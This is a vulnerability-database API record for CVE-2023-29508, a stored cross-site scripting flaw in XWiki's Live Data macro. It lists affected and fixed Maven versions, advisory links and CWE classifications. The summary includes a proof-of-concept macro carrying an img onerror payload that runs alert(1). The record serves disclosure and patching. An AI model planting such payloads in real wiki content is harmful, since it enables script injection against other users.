Lookup for vulnerabilities affecting packages.

GET /api/vulnerabilities/44924?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/vulnerabilities/44924?format=api",
    "vulnerability_id": "VCID-cawb-zpmc-b3dp",
    "summary": "org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting\nA user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.\n\nFor instance, by adding the LiveData below in the about section of the profile of a user created by an admin.\n\n```javascript\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n\"data\": {\n\"count\": 1,\n\"entries\": [\n{\n\"title\": \"Meet John Doe\",\n\"url\": \"https://www.imdb.com/title/tt0033891/\",\n\"description\": \"<img onerror='alert(1)' src='foo' />\"\n}\n]\n},\n\"meta\": {\n\"propertyDescriptors\": [\n{\n\"id\": \"title\",\n\"name\": \"Title\",\n\"visible\": true,\n\"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n},\n{\n\"id\": \"description\",\n\"name\": \"Description\",\n\"visible\": true,\n\"displayer\": \"html\"\n}\n]\n}\n}\n{{/liveData}}\n```",
    "aliases": [
        {
            "alias": "CVE-2023-29508"
        },
        {
            "alias": "GHSA-hmm7-6ph9-8jf2"
        }
    ],
    "fixed_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64661?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@13.10.11",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@13.10.11"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64127?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.4.7",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.4.7"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64662?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.10",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.10"
        }
    ],
    "affected_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64126?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@13.10.10",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-cawb-zpmc-b3dp"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@13.10.10"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64660?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.4",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-cawb-zpmc-b3dp"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.4"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/packages/64128?format=api",
            "purl": "pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.9",
            "is_vulnerable": true,
            "affected_by_vulnerabilities": [
                {
                    "vulnerability": "VCID-cawb-zpmc-b3dp"
                }
            ],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/org.xwiki.platform/xwiki-platform-livedata-macro@14.9"
        }
    ],
    "references": [
        {
            "reference_url": "https://github.com/xwiki/xwiki-platform",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/xwiki/xwiki-platform"
        },
        {
            "reference_url": "https://jira.xwiki.org/browse/XWIKI-20312",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://jira.xwiki.org/browse/XWIKI-20312"
        },
        {
            "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29508",
            "reference_id": "CVE-2023-29508",
            "reference_type": "",
            "scores": [],
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29508"
        },
        {
            "reference_url": "https://github.com/advisories/GHSA-hmm7-6ph9-8jf2",
            "reference_id": "GHSA-hmm7-6ph9-8jf2",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/advisories/GHSA-hmm7-6ph9-8jf2"
        },
        {
            "reference_url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-hmm7-6ph9-8jf2",
            "reference_id": "GHSA-hmm7-6ph9-8jf2",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-hmm7-6ph9-8jf2"
        }
    ],
    "weaknesses": [
        {
            "cwe_id": 79,
            "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')",
            "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."
        },
        {
            "cwe_id": 80,
            "name": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)",
            "description": "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages."
        },
        {
            "cwe_id": 937,
            "name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."
        },
        {
            "cwe_id": 1035,
            "name": "OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."
        }
    ],
    "exploits": [],
    "severity_range_score": null,
    "exploitability": null,
    "weighted_severity": null,
    "risk_score": null,
    "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cawb-zpmc-b3dp"
}